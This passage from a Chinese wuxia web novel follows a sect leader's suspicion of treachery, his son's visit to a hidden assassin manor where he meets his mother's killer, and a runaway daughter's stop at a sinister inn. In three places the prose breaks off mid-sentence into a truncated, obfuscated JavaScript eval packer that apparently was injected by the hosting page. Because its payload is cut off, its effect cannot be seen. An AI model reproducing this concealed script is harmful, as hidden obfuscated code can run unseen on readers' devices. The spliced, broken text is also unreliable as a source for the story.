三日过去还是没有不孝女的下落,陆掌门失望地跌坐回椅子上。 陆子辰道:“带走知夏的高人对云苍的一切了如指掌,他们计划缜密周详,只一夜时间便逃得无影无踪,想要短时间内寻到人恐怕不易。” 陆掌门十指交叉放在案上,若有所思地说道:“只怕门中有吃里扒外的家伙。” 陆子辰眼中泛起一丝微不可见的波澜,说道:“爹怀疑是门中的人所为?” 陆掌门缓步走到儿子面前,抬手拍去他肩上沾染的尘土,幽幽道:“这些年我确实忽略了身边一个暗藏二心的家伙,这事除了他没人能办到。” 面前魁梧的身影透着一丝压迫,陆掌门冷肃的目光隐含杀气,令陆子辰不禁脊背发凉。 “其实猜出那个人是谁不难,只要看谁为知夏求过情,最近又行迹可疑,十有八九便是他。” 陆子辰镇定道:“父亲怀疑的人究竟是谁?” 陆掌门幽幽道:“你的三师叔,齐威。” 闻言,陆子辰紧绷的神经一松,身后的暗器也悄悄藏起,佯装不解道:“齐师叔为人低调随和,平日鲜少插手门派之事,怎会是他?” 有些旧怨陆掌门不愿再提,只说道:“别看他如今一副云淡风轻、老实巴交的模样,从前我们刚拜入师门时最皮的就是他,三天两头耐不住寂寞偷溜下山玩乐,竟还从未被师父发现。前些日子他忽然来云朝阁找我下棋,实则是为知夏求情,我俩闹得不欢而散,之后他便一直闭关不出,难道不可疑吗?” 陆子辰道:“那爹打算何时拿齐师叔问罪?” 陆掌门道:“虽然这些年他在门中过着闲云野鹤、不争不抢的生活,但暗中也笼络了不少人心。若无证据直接给他定罪很难服众,我暂派人暗中盯着他,待日后抓回那不孝女逼她当堂指证,让他无话可说。” 隔了片刻,陆掌门又道:“不过也不能放过其他可能。毕竟那晚门中来了不少外人,你回头命人把当晚离开的那几家人仔细查一查,看看最近他们有没有跟可疑之人接触。” “是。”陆子辰转身退下。 陆掌门叫住他,看着案上的红帖,说道:“最近有几个小门派被神秘人抢夺秘笈,魔教也接连兴风作浪,闫释天给六大门派下了会盟贴,明日我便要启程前往武林盟与各派掌门商议对策,这趟估计又得耗上十天半个月,追寻知夏的事不能耽搁,还有门中事务就都有劳你了。” “是。”陆子辰面色稍显沉重。 陆掌门与武林盟暗中较劲,明面上却没有撕破脸。收到会盟贴即便心有不满、事务缠身也要抽空按时前往。毕竟武林盟为武林门派领袖,公然反之只会遭到孤立。 陆掌门自知将所有事情推给儿子他也应付不过来,便从怀里取出一块玄铁令牌交给儿子。 “暗庄。”陆子辰接过令牌,看着黑色牌面上两个突起的朱砂大字内心暗暗兴奋。他这一招终于把老狐狸逼急了。 陆掌门道:“这些年你替我暗中打理生意,想必对暗庄也有些了解。这个神秘组织是我几十年缔造的心血,你是我最器重的孩子,也同我一般志向远大,将来我不光要把掌门之位传于你,还会让你接手它。如今生意和门中事务繁杂,我分身乏术,正好是磨炼你的机会。若有需要你便带着它去野鬼林,自会有人为你分忧。” 陆子辰道:“门中和生意上的事我能处理,寻找知夏一事确实需要调用暗庄的人,如此便不用遮遮掩掩行事,找人也更快。” “一切交于你,你看着办吧。”陆掌门近来已被繁杂事务折磨得头疼,巴不得尽快从中抽身喘口气。他暗暗叹息,或许真是人老不中用了。 陆子辰收好令牌退下,嘴畔扬起一丝旁人察觉不到的弧度。 * 翌日上午,陆掌门召集门人在勤武堂前集会。巧的是,齐威也在这个时候出关,与齐放一同前来。 下山前,陆掌门当着众人的面交代门中事务,并再次警告所有人不得走漏陆知夏失踪一事。 集会解散后,陆掌门叫住齐威,师兄弟二人往附近清静之处走去。 路上,陆掌门看似关心地询问齐威最近闭关所获。齐威谦虚应答,不料陆掌门忽然拔剑朝他刺来。所幸齐威及时闪避,并未中招,但左手袖子被锋利剑刃削去半截。 陆掌门冷声道:“师弟何苦谦虚,你我多年未互相切磋,不如趁眼下清静过上几招。”话音刚落,剑锋再度朝齐威刺去。 齐威未带佩剑,闪避间随手拔出一名过路弟子的剑迎上去。二人剑法迅疾,剑气激荡间飞沙走石,过路弟子纷纷退至一旁围观。 齐放听到动静也往这边跑来,瞧见自己师父与陆掌门毫不留情打起来,迅速拨开人群走过去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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围观弟子越来越多,陆掌门想尽分个胜负,运起十成功力朝齐威连连猛刺。齐威刚突破云苍剑诀第六式渐渐落于下风,勉力抵挡众不慎被划伤右臂,手里的剑脱手飞出。陆掌门仍不肯停手,趁势朝齐威胸口挥来蕴着浑厚内力的一掌。 掌风呼啸而来,齐威躲避已是不及。齐放不顾一切冲上去,硬生生替齐威挨下陆掌门一掌。 “放儿。”齐威扶住面前倒下的人,眼眶微红。 陆掌门收掌,斥责道:“长辈之间的事,一个晚辈插什么手?不自量力。” 这一掌陆掌门留了些分寸,并不致命,但齐放依旧吐血不止。齐威即刻封住他几处大穴。 陆掌门将剑收回鞘中,冷嘲道:“师弟教出来的人,果然如你一般不知天高地厚。” 齐威抬头看向陆掌门,叹息道:“师兄有怨气大可冲我来,何必拿晚辈出气。” “你以为我不敢?”陆掌门冷哼一声,说道:“别以为你做的好事没人知道,这次只是警告,你们师徒二人好自为之吧。” 言罢,陆掌门拂袖而去。 齐放吐了口血,声音沙哑道:“师父,掌门是不是怀疑你与知夏失踪一事有关?” 齐威道:“他疑心重,不必理会他,我先扶你回去疗伤。” 江宛若上前帮忙搀扶,说道:“知夏失踪,门中事务又繁重,师父最近火气很大,看谁都不顺眼,望师叔不要往心里去。” 齐威摇头苦笑,“若是找不回知夏,恐怕他不会善罢甘休。” 打斗结束,看热闹的弟子纷纷散去,三人互相搀扶着慢慢往青山院走去。 30. 暗庄 交接好门中事宜,太阳升高前陆掌门携李暮等十余名弟子打马下山。 山林里一棵隐蔽大树上,鬼面人抱臂而立,看着一行人策马扬尘离开山门,即刻返回山上。 中午,姜氏与陆子辰在云景院用膳。陆掌门不在,饭桌上气氛轻松自在,姜氏也能跟儿子说些体己话。陆子辰忽然向姜氏辞行:“老狐狸要做一笔大买卖,我要离开一段日子,你好好照顾自己。” 姜氏放下筷子,心情略显沉重,“注意安全,娘在家里等你回来……” 母子二人平静用过午膳后,陆子辰送姜氏回云朝阁,顺道处理门中事务。 陆掌门留下的无非是一些日常琐碎事务,陆子辰一个下午便整理归类好,交由负责的掌事下去处理,回头让陆乾监督进度即可。 了却后顾之忧,陆子辰也要着手去办最要紧的事。他回屋换好一身轻便衣裳,将陆掌门给的令牌收入怀中。等了这么多年,终于让他找到了暗庄的核心所在,无论如何今晚他都要去一趟野鬼林,会会那一群见不得光的恶鬼。 鬼面人从窗户翻进来,说道:“少主,陆小姐已与翠微坊的人分开,正坐车往东而去。” “这倒是巧了。”陆子辰淡淡道:“那萧大公子的货上路了吗?” “已经在路上。” 陆子辰披上黑色披风,系上带子,自信满满道:“我们也出发吧。不过在劫货前,我还得先去一个地方。” * 夜色中,云苍山三十里外的茂密树林里透着两点火光,两名骑马男子举着火把在落叶堆积的荒林里缓慢前行。 相传这片荒林的前身是一片古战场,约从十多年前开始,林子里无论白天还是晚上都有鬼哭狼嚎声传出,好奇进去的人都有去无回,久而久之附近的人便给这片诡异的荒林起名野鬼林,还在林外好心竖起“有鬼,慎入”的牌子。 寻常人看见牌子马上老实绕道走,而这两名男子却视若无睹,镇定地穿行其中,即便耳边不时传来凄凉诡异的哭声,不断遇到散落的森森人骨也面不改色往前走。直到深入林中,前方无路可走才停下。 林子深处枝条茂密、荆棘横生,不便骑马,二人只好下马步行前进。 走了约摸一盏茶时辰,迎面一阵阴风将二人手中火把熄灭。眼睛适应黑暗后,他们看到前方林子尽头有一座巨大的黑色阴影,其中还有两点森然白光,远远看去仿佛一只趴着等人送入虎口的猛兽。若是寻常人早就吓得原路返回,但他们依旧大胆往前走。 树高林密,月光很难照进来,二人凭感觉在危机四伏的林子里缓慢前行。 夜渐深,林中慢慢起雾,二人方向感渐渐失灵,不知不觉走上另一条白骨累累的路。前方盘踞的“猛兽”也消失,变成几座高大幽暗的建筑,隔着雾气远远望去像是阴间的幽冥地府。二人继续走了几步,前方倏然射来数支利箭,二人听觉灵敏即刻挥剑挡下。 一个冰冷严肃的声音隔空传来:“来者止步,否则左边那片林子里挂着的人干便是你们的下场!” 二人往左边一片林子望去,借着树叶间透进来的淡淡月光看到枝头上数个被开膛破肚的风干人影随风摇晃。几个新挂上去的还没死透,痛苦抽搐,哭嚎不止。想必树林里的诡异哭声来源便是此处。夜风吹来一阵浓重尸臭和血腥味,二人掩鼻退后。 “在下云苍派陆子辰,携玄铁朱砂令前来,烦请阁下让道。”陆子辰试着与来人沟通。 话音刚落,附近大树上跃来一名黑衣蒙面人。他吹亮手中火折子,仔细看了看陆子辰手举着的令牌,又用火折子在陆子辰面前一晃,看清那张英俊面容后才恭敬下拜:“原来是陆公子,方才多有得罪,请随小人入庄。” 陆子辰和青烛抬步往前走。蒙面人抬手拦住青烛,说道:“除了陆公子,外人不得入内。” 陆子辰回头让青烛回栓马的地方等他,他一个人同蒙面人往远处那座诡异建筑走去。 * 穿过浓雾弥漫的诡异林子,陆子辰随蒙面人来到一座建筑风格古朴诡异的黑色山庄前,这便是方才从远处看去那团骇人黑影的全貌。 庄子肃穆的大门也是黑色,两边各悬着一盏白色长灯笼。陆子辰抬头看去,大门正中上方的黑色牌匾上书“归云山庄”四个白色遒劲大字。门前虽无人值守,但他能感觉到四周有数道目光落在他们身上。若来人别有用心,暗处的人必定“热情招呼”。 蒙面人握着铜环在门上轻敲几下,门很快开了,透出一片光亮。开门的是一个半边脸被烧毁的老者,他锐利的眸子瞟向蒙面人身后的英俊男子,与蒙面人悄悄说了几句话便侧身请他们进庄。 进门后眼前霍然大亮,陆子辰眯上双眼,待适应光线后才缓缓睁眼。庄外黑暗凄清,庄中却灯火如昼,人群聚集,一片嘈杂。 前院设了许多练武用的木桩,时近三更,院里到处是刻苦训练的身影。几群光膀子的少年跟着教头练习各种搏杀技巧,肩背黝黑的肌肤上布满热汗,在火光映照下泛着亮光。 蒙面人领着陆子辰穿过前院走上回廊。 庄内建筑和装饰布置皆崇尚黑白,若不是各处悬着灯笼,夜里行走怕是要摔跟头。半路上,不知何处隐隐传来凄厉的惨叫声,听起来那人似乎正被人残忍折磨。陆子辰猜测此处定设有动用私刑的地方。 从碰面到入庄,陆子辰随蒙面人走了约一炷香的时辰才来到内厅。此刻厅上烛火光亮却无人,蒙面人请陆子辰入厅稍候,躬身退下。陆子辰独自入厅。厅上依旧是白墙黑柱,桌椅摆放也中规中矩,但陈设古朴中却透着奢华。他站在堂下,望着正中上方一块书着“励精图治”的匾额出神。字是好字,不过挂在这种地方却不大合适,总有种主人自抬身份的感觉。 身后传来轻浅脚步声,陆子辰转身,一名肩宽高大的黑袍男子迈上厅来,笑着抱拳道:“陆公子亲临,万某有失远迎,还请公子见谅。” 陆子辰怔住,清冷目光定定落在来人右脸一处从眉毛延至脸颊的陈年细疤上,披风下的双手攥紧成拳。那个十多年来无数次在雷雨夜将他惊醒的阴狠面孔就在面前…… 陆子辰深吸一口气让自己镇定下来,拱手作礼:“万庄主幸会。” 万辛来邀陆子辰入座。仆人们上前奉茶,二人客套寒暄,互相尊敬有礼。陆子辰心中波澜未定,他怎么也没想到,苦寻多年的杀母仇人就是这个神龙见首不见尾的暗庄首领万辛来。而他却还要忍耐着同仇人相邻而坐,侃侃而谈。 陆子辰眼中杀意越发明显,但万辛来正用杯盖滤着茶叶并未发现。 眼下动手并非明智之举,陆子辰饮了口茶让自己冷静下来,淡淡恭维道:“子辰时常听爹提起万庄主的功绩,今日得见前辈一面是晚辈的荣幸。” 万辛来笑道:“陆掌门抬举了,这些年归云山庄不过是为我们的大业尽了一点绵薄之力罢了。”话虽说得谦虚,但他心里无比得意。暗想:算陆道离有点自知之明,这些年若没有暗庄为他鞍前马后,他的云苍派又怎能扫除阻碍发展壮大,稳列六大门派前三?眼下他陆家人能过上锦衣玉食、荣耀加身的生活还不是他们这些每日在刀口上舔血的人出生入死换来的。 万辛来听说陆子辰此番携朱砂令前来,心知陆掌门有意将暗庄传到这个失而复得的儿子手里。他感觉到陆子辰内力不低,气质沉稳冷厉,确实是个堪当大任的人选。只可惜…… 茶水饮尽后,万辛来主动提议带陆子辰到庄里走走。陆子辰自然十分乐意,起身随他向厅外走去。 不管怎么说陆子辰都是未来的新主,万辛来不敢怠慢,边走边向他介绍庄里的情况。 * 二人经过人声嘈杂的前院,陆子辰好奇道:“暗庄弟子平日无事皆在庄中刻苦训练吗?” 万辛来道:“这些是新弟子,熟手常年在外执行任务,极少回来,不然一个小小庄子哪容得下那么多人。” 听万辛来的语气暗庄似乎人员庞大,陆子辰旁敲侧击打听,万辛来却始终未透露准确数字,只神秘一笑说道:“暗庄并非指我们所在的这个归云山庄。它是一股势力,一股散布天下,超乎公子想象的庞大势力。” “势力再大也不过是草莽,大得过武林盟,大得过朝廷?”陆子辰言语中故意带着一丝不屑。 万辛来好笑摇头,提点道:“暗庄为贪欲而生,有贪欲的地方便有暗庄的影子。” 陆子辰仔细揣摩万辛来的话。这时附近又有惨叫声传来,陆子辰疑惑道:“大半夜的,这是在惩戒犯错的手下吗?”万辛来不答,带他继续逛完剩下的地方,最后回到正厅前。 这一趟他们走了约半个时辰,整个归云山庄并没有陆子辰想象中那般大,但据他仔细观察,这里处处机关遍布,想要擅闯绝非易事。 陆子辰又好奇问起方才在路上听到的惨叫声,万辛来便带他前去一看究竟。 二人沿着一条曲折的回廊来到一座寻常的屋子前。两名守卫向二人跪拜行礼,万辛来推门入屋,陆子辰也跟进去。屋子空间不大,仅点了一盏灯,借着微弱光芒便已看清全貌,这只是一间普通书房。但站在屋里却能清晰听到惨叫声,陆子辰仔细聆听,低头看着脚下。那声音感觉是从他们所在的地下传来的。 万辛来走到书架前转动一个白釉花瓶,面前书架很快从中间向两边移开,一道暗门赫然出现在二人面前。万辛来解开暗门上的拼图机关,暗门缓缓开启。陆子辰紧跟万辛来步入暗门,沿着两侧点着油灯的蜿蜒石梯走入地下。耳边惨叫声也越发清晰。 石梯走到底,二人来到一处守卫森严的铁门前。有万辛来在自然畅行无阻,铁门开启后,一阵混着血腥味儿的潮湿空气扑面而来,各种惨叫哀嚎清晰入耳。二人继续往前走,转过弯便是一条长长的走道,走道两边的围栏后伸出无数双手,一双双满含乞求的眼睛看着走来的二人,哀嚎求饶声嗡嗡不止。 一条细长的鞭子毫不留情地抽打那些伸出围栏的手,那些手吃痛即刻规矩收回去,路上也清静许多。一名身材圆胖的管事满脸堆笑地迎上前:“庄主,这么晚您怎么亲自过来了?” 万辛来朝身边的英俊男子抬手,“这位是陆公子,我带他来随意看看。” 管事的朝陆子辰谄媚一笑,“拜见陆公子。” 陆子辰淡淡点头。 往里走灯火昏暗,管事的持灯笼在前边为二人照路。走了一圈,陆子辰发现这处曲折的地下囚牢足有半个归云山庄这么大,囚室众多都关满了人。他仔细留意过被关之人,他们有的胡子拉渣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男子再度抬头,一双锐利的眸子隔着散乱长发瞪向万辛来身后的青年。他怔了怔,不知为何看到那人的瞬间竟有种似曾相识的感觉。 陆子辰推开万辛来上前,修长的五指穿过男子散乱的长发精准锁住他下巴,厉声道:“再胡言乱语我就捏碎你下巴,让你活活饿死。” 青年慑人的气势令所有人胆寒。白发男子愣了片刻,嗤笑道:“陆道离不是只有个女儿吗,何时多了个儿子?你该不会是他在外边同青楼女子生下来的野种吧?” “啪。”一记响亮耳光落在白发男子脸上,他头歪向一侧,露出半边胡子拉碴的脸,吐了一口血沫。 透过骨相,陆子辰很快认出男子的身份,激动上前拽起他衣襟,眼眶微红指尖轻颤却还要装出冷酷无情的样子说道:“老实说出我们想要的便能少受点苦,你一把年纪还受得了几次酷刑?” 白发男子冷哼,说道:“我谷常青便是死也不会出卖兄弟,这些年什么酷刑我没受过,你以为我还会怕?有种你小子立刻杀了我。” 陆子辰抬掌正要上前,万辛来及时按住他的手,说道:“公子使不得,这人留着还有用。”陆子辰不听,挣开万辛来的手硬要上前,万辛来再度上前阻止,二人转眼动起手来。 连过数招后陆子辰逐渐占上风,万辛来袖下忽然飞出一只鹰爪,直袭陆子辰面门。陆子辰毫无防备只能足尖点地向后跃去,险险避开一击,但人已退至门外。 万辛来收鹰爪入袖,出门抱拳道:“方才万某多有得罪,请公子见谅。” 陆子辰道:“此人嘴硬,留着也是无用,不如让我帮庄主处理了。” 万辛来笑道:“暗庄之事暂不劳公子费心。”他抬手向陆子辰做了个请的手势,陆子辰只好同他向地牢外走去。 * 二人回到正厅上,仆从再度上前奉茶。他们细品香茗,冲散在地牢里吸入的秽气。 万辛来知道陆子辰深夜携令前来必是有事相求,之前带他外出走动是故意拖延时间杀杀他的威风。但经过地牢里那一遭,万辛来深知此人不好惹,这回便开门见山说道:“陆公子深夜前来有何要事吩咐?” 陆子辰也不拐弯抹角,说道:“前几日舍妹知夏被高人从云苍带走,此事涉及门派声誉不能声张,所以想请暗庄协助寻人,务必尽快将人带回。”他着重强调“尽快”二字。 万辛来想起云苍派与玄阴派联姻一事便知此事紧急,说道:“此事包在万某身上,公子且安心回去静候佳讯。” “这是舍妹画像,有劳万庄主。”陆子辰将一副画轴交给万辛来,起身告辞。 万辛来派人送陆子辰出野鬼林,回头展开画轴。画上婷婷玉立的妙龄女子悠然立于苍翠榕树下,一双杏眸灿若晚星,柔美传神,勾起万辛来尘封心底的记忆,喃喃道:“这双眼睛,真是像极了她的母亲……” 回过神来万辛来长长叹息,将画轴小心卷起交给手下。 深更半夜,野鬼林上空惊起一片黑鸦,接着数道暗影疾速跃出林子,转眼隐没在荒无人烟的旷野间。 野鬼林附近两道人影也跨上马,循着暗影消失的方向打马而去。 31. 夜雨 烈日下,一辆马车缓缓行驶在野外小道上。马儿被这暑气折磨得够呛,焦躁地不时发出响鼻。赶车的老伯也口干舌燥,拿起身边水囊却发现早已空了。发愁间,一阵带着土腥味儿的清风拂过,他放眼望去,隐约看到前边有河流的影子,挥鞭加速前进。 河边清风阵阵,马车在离河岸不远的树荫下停住。老伯回头对车里的人说道:“小夏,我去那边打些水。” “我也去。”车帘掀开,一名眉清目秀的布衣青年探出身来,一双杏眸清澈灵动,正是重获自由后逐渐恢复活力的陆知夏。为了掩人耳目,出逃在外的她只好改扮男子。 下车惬意地伸了个懒腰,陆知夏随老伯拿着水囊牵着马儿朝河边走去。岸边风大,河水湍急,陆知夏掬了一捧清澈河水洗脸,浑身燥热和倦意退去几分。可惜她不会游泳,不然早跳进河里畅游一番消暑。 马儿伸长脖子悠闲喝水,老伯将带来的几个水囊全部灌满,陆知夏看着远方问道:“吴老伯,咱们已经赶了六天路,何时才到离忧城?” 吴老伯微笑道:“不出意外,后天就到了。” “离忧城是个什么样的地方?”对于未去过的地方,陆知夏既憧憬又有些担忧。 “你从未去过?”吴老伯颇感意外。 陆知夏摇头,失落道:“我爹娘从不让我出远门。” 吴老伯也望向远方,缓缓说道:“离忧城、云炀城和玄镜城是盛元国三大皇恩城。相传当年开国高宗登基后正要给萧姜秦三位功臣封赏,当晚三人却不约而同前来请辞还乡,高宗一番挽留也留不住,便赐予他们特权,回乡安度余生。三名大将返乡后致力于重建家园,贡献颇多,深受当地百姓拥戴,后来玄宗便敕封他们的后人为城主,地位虽次于王孙诸侯,但有部分实权。这三城也在他们家族后世几代人的治理下日渐繁荣,如今的离忧城各方面更是比及京师。” 往日陆知夏已经觉得云炀城够繁华热闹,想不到离忧城还要在它之上,不禁感慨道:“离忧城的城主定都是了不起的人物。” “非也。”吴老伯摇头,说道:“如今离忧城城主名唤萧景,是先城主的独子,年少意气风发时也曾不务正业离家闯荡江湖,还凭借一杆红缨长枪四处惩恶扬善,搏得个‘知心红枪’的名号。后来老城主病重唤他回家,拖着病体苦口婆心劝了他半月他才肯收心继承城主之位。好在成家后的萧景日渐稳重,广行仁政,虽无大的建树,但离忧城在他的治理下依旧繁荣。” “这位萧城主很善解人意吗?”陆知夏还在琢磨萧景那个“知心红枪”的名号。 吴老伯笑道:“那个名号是说他桃花运不错,江湖上的红颜知己数都数不过来。” “这也能摊上个名号?”陆知夏失笑。 “名号这种东西都是江湖人随口叫来玩的,没几个有实际意义。”吴老伯淡淡的语气,透着一丝讽刺和无奈。 陆知夏满眼憧憬道:“离忧城如此繁华,到时我一定好好逛逛。” 吴老伯提醒道:“离忧城虽繁华,但江湖势力庞杂,你到了那儿一定要低调行事。如此藏个一年半载定不成问题。” 闻言,陆知夏又开始发愁,“若是一年半载后我爹还不放过我怎么办?” 吴老伯道:“到时候再说呗,走一步算一步。年轻人别总提前给自己添这么多烦恼。” 天边飘来一大片黑云,阳光逐渐消失。眼看要变天,二人赶紧收拾东西。 一阵大风刮起,天地间一片混沌,天空电闪雷鸣不断,大雨转瞬而至。陆知夏抱着水囊跑回车边,同吴老伯一起将马和车拴好。雨势变大,二人只好上车暂避。 暴雨过后还下着零星小雨,为了不耽误路程,吴老伯披上蓑衣继续赶车上路。 这场雨时大时小,断断续续下到天黑。二人运气不佳,一路上都没有遇到旅店或破庙之类可暂避风雨的地方。雨夜又不便露宿,他们只能马不停蹄地赶路。好在陆知夏早已习惯长途跋涉,坐久了除了腰腿酸疼,并无其他不适。 为了躲避追踪,吴老伯一直驾车走小路。夜雨中视线不佳,他担心遇上危险渐渐放缓车速。马儿忽然在一处土坡旁停下,焦躁地跺着马蹄。吴老伯还未搞清状况,地面忽然猛烈摇晃,一阵巨大轰响声中,前方道路被大片从土坡上滑下的泥土掩埋,远望去路上阴影厚厚一层,足有半人高。 劫后余生,吴老伯下车轻抚马儿的头,奖励它一根胡萝卜。 陆知夏挑起帘子,看到前方被埋的道路吓了一跳,她头一回遇到这种情况,无措道:“路堵了我们怎么办?” 吴老伯转头看见附近树林里透着几点灯火,说道:“那边好像有座村子,我们过去找个地方落脚,等明日雨停再想办法。” “好。”陆知夏又冷又饿,也想尽快找个干爽的地方过夜。 吴老伯上车,驾车往林中小道而去。 * 小村庄灯火稀疏,一眼看过去房舍破落窄小,吴老伯想这里住的人应该不多。他正犹豫要不要进村打扰,蓦然瞥见村口不远处有座独立的简陋小楼,外边一面酒幌子在风雨中摇曳,似在向他招手。 雨又下大,马车在小楼前停下。大门敞开着,吴老伯向门中望去,灯火昏黄的厅上摆着客桌,这里果真是一家客栈,而且仍在营业。吴老伯转头让陆知夏带上行李,两人一同冒雨冲进客栈。 入门即是一方小厅,整齐摆着五张客桌椅。许是小店位置偏僻,生意不佳,他们进来许久也不见店家和其他客人。吴老伯环顾四周,发现僻静柜台边上有一名中年男子,他一手撑腮正在打盹,看穿着打扮像是店里的掌柜。 吴老伯轻咳一声,中年男子缓缓睁眼。看到有客人登门,他立时来了精神,笑着迎上前道:“二位客官打尖还是住店?” 陆知夏目光落在这人左边颧骨一颗大黑痣上,总感觉这人气质跟身份有些不符。 吴老伯顺着旁边楼梯往上看,掌柜说店里目前没住客,楼上客房都空着,他们若是要住可以上去随便挑选。吴老伯当即掏出银子要了两间房,同时让掌柜为他们准备饭菜。 掌柜热情帮二人拿行李,亲自带他们上楼。 楼上只有一层,狭小的走廊两边各有三扇门,吴老伯挑了左边最里边相邻的两间房,三人带着东西走过去。陆知夏住最里面那间房,吴老伯在她隔壁。 吴老伯推门进房,陆知夏站在门外望了一眼。客房不大,在门口便能一览无余,房内除了一张床和一套桌凳别无他物。陆知夏也走进自己的房,里面的布置和吴老伯那间一模一样,难怪这么小的客栈能有六间客房。她在房里走了一圈,空间虽小,但各处收拾得干净整洁,还算不错。 掌柜下楼前问二人还有何需求,陆知夏让他准备洗澡水送来。掌柜面露难色,说道:“店里人手不足,客官沐浴得自己下楼,楼下有公共浴池。” 陆知夏顿时犯难。她现在是男子身份不能光明正大入女浴,至于男浴……眼下店里没其他客人,她先去洗应该不会有问题。陆知夏随即从包袱里捡了一套干净衣裳就随掌柜下楼。 路上,陆知夏好奇道:“掌柜,怎么就你一个人忙前忙后,店里没有其他伙计吗?” 掌柜笑道:“后院还有几个伙计在干活,眼下生意不好,前边我一人应付足矣。” 下了楼,陆知夏随掌柜来到一处温暖的屋子外。一墙之隔的两间房门上各挂着一块木牌,掌柜推开挂着男浴牌子的房门请陆知夏进去。陆知夏正要抬步,门前帘子被人掀开,一个肥头大耳的汉子提着个冒热气的空桶出来,碰见客人立刻笑呵呵道:“客官放心洗,热水不够我再进去给你添。” 闻言,陆知夏抱着衣服转身,逃也似地奔上楼。掌柜和大汉相视一眼,脸上笑容立马消失。 听见门外急促的脚步声,吴老伯开门探出头来,见陆知夏刚下楼又抱着衣服匆匆回来,问道:“怎么,浴池环境不好?” 陆知夏小声道:“为了安全起见,一会儿我还是打水回来擦身吧。” 吴老伯了然点头,叮嘱她早点把湿衣服换下别着凉了。 * 外边雨声淅沥,擦身换好干爽衣服的陆知夏疲惫地躺在床上。半个时辰过去了饭菜还没做好,她肚子饿得咕咕叫,沮丧地望着房门,心想:这家客栈的厨子难道是老大娘?动作也忒慢了。 湿冷的雨夜,糟糕的心情,陆知夏忽然无比想念家里的大浴桶。她闭上眼睛幻想着自己刚泡过满是花瓣的温水浴,换上柔软顺滑的丝衣,安心躺在宽大舒适的床上聆听雨声……一切如此惬意。 “不行。”陆知夏睁眼猛坐起来。她告诉自己已经从那个家解脱出来了,不能再留恋过去那种奢靡的生活。 “客官,饭菜备好了——” 外边传来掌柜的声音。陆知夏收起遐想,匆匆起身下楼吃饭。 小厅依旧冷冷清清,陆知夏和吴老伯坐在楼梯旁一张桌边吃饭。饭菜有荤有素,菜色味道一般,但乡村野店有口热食吃就不错了。陆知夏大口扒饭,肚子有货身上也跟着温暖起来。 掌柜抱着一坛酒走过来,热情道:“雨天湿冷,二位客官要不要喝些酒水驱寒?” 吴老伯摆手,“多谢掌柜一番好意,但我们爷俩从不喝酒。” 掌柜道:“这酒度数不高,不会喝醉的,你们尝两口就当驱寒,我不收你们银子,就当感谢二位雨夜照顾本店生意。” 吴老伯连连摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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掌柜摩挲着手里的银子,笑道:“客官们先坐,我这就去准备。” 小厅总共五桌,这八人一来就零零散散把小厅坐满了。 邻桌一股浓重甜腻的脂粉味儿飘来,陆知夏忍不住打了个喷嚏。吴老伯关切道:“该不会是着凉了吧?” 陆知夏摆手,低头继续安静吃饭。 * 不到一盏茶功夫,新来的客人饭菜都上齐了,掌柜还亲自给他们端茶倒酒。陆知夏不禁感慨有钱就是好使,连穷乡僻壤的人都知道“看人下菜”,真是人心不古啊。 一名粉衣姑娘忽然重重扔下筷子,挑剔道:“这饭又粗又硬,菜也寡淡无味,是给人吃的吗?” “就是,难吃死了。” 几名姑娘跟着放下筷子,皆是一脸嫌弃。 紫衣美人沉声道:“小蝶,出门在外就不要讲究这么多,不然饿着过夜的滋味可不好受。” 小蝶便是带头摔筷子的粉衣姑娘,她看向紫衣美人,娇声道:“菱姐姐,要不我们还是回头换条路走吧。这里条件太差,姐妹们怎么受得了?” “就是啊,饭这么硬,大家吃了闹肚子怎么办?” “房间小,床也小,又不够住,难不成还让我们打地铺?我可受不了。” “洗澡也没有浴桶,大家挤在一个池子里多脏啊。” …… 姑娘们满腹牢骚,只有与紫衣美人同桌的绿衣姑娘和少年在安静吃饭。站在一旁的掌柜和伙计面对贵客抱怨皆脸红挠腮。 紫菱重重放下筷子,说道:“这条路去离忧城最快,绕远路得多走四五日,况且雨夜赶路也不安全,若是遇到方才那样的滑坡,咱们的小命全都得搭上。” 闻言,厅上姑娘都不再吵嚷,低头安静吃饭。 掌柜和伙计也松了口气。贵客有钱是好,但品味刁钻实难伺候。他们店的饭菜虽比不上大客栈,但也不至于像小蝶姑娘说的那么差。 掌柜拿着酒壶上前殷勤地给姑娘们倒酒赔不是。之前挑三拣四的姑娘见他如此热情,脸色也缓和许多。 陆知夏和吴老伯吃完饭回楼上歇息。回屋前,吴老伯叮嘱陆知夏晚上不要随意出门,睡觉要锁好门窗,有事就大声喊他。陆知夏将他的叮嘱记下。 这一路吴老伯像家人一样无微不至地照顾陆知夏,令她绝望麻木的心恢复一丝温暖。 回房锁好门,陆知夏走到仅有三尺宽的小窗前望着外边漆黑雨夜发呆。眼看要到离忧城却突遇天灾,不知前路是福是祸…… 凉风透过窗户吹进来,陆知夏连打几个喷嚏,赶紧关窗熄灯歇息。 32. 黑店 夜里,陆知夏始终睡不踏实,迷糊中听到门外有人低语,瞬间清醒过来。她仔细聆听,说话的像是两个男子。楼上除了吴老伯,其余房间住的都是女子,怎会有陌生男子的声音?她轻手轻脚来到门边,想起吴老伯的叮嘱又不敢贸然开门,贴着门缝往外看。 安静的走廊上有两个男人鬼鬼祟祟朝她的房间走来,小声说着话。陆知夏怕被发现,立刻往旁边挪了挪。 “迷香不够用怎么办?” “没事,剩下那爷孙俩直接做了。” 陆知夏暗惊,双手捂嘴大气也不敢出。 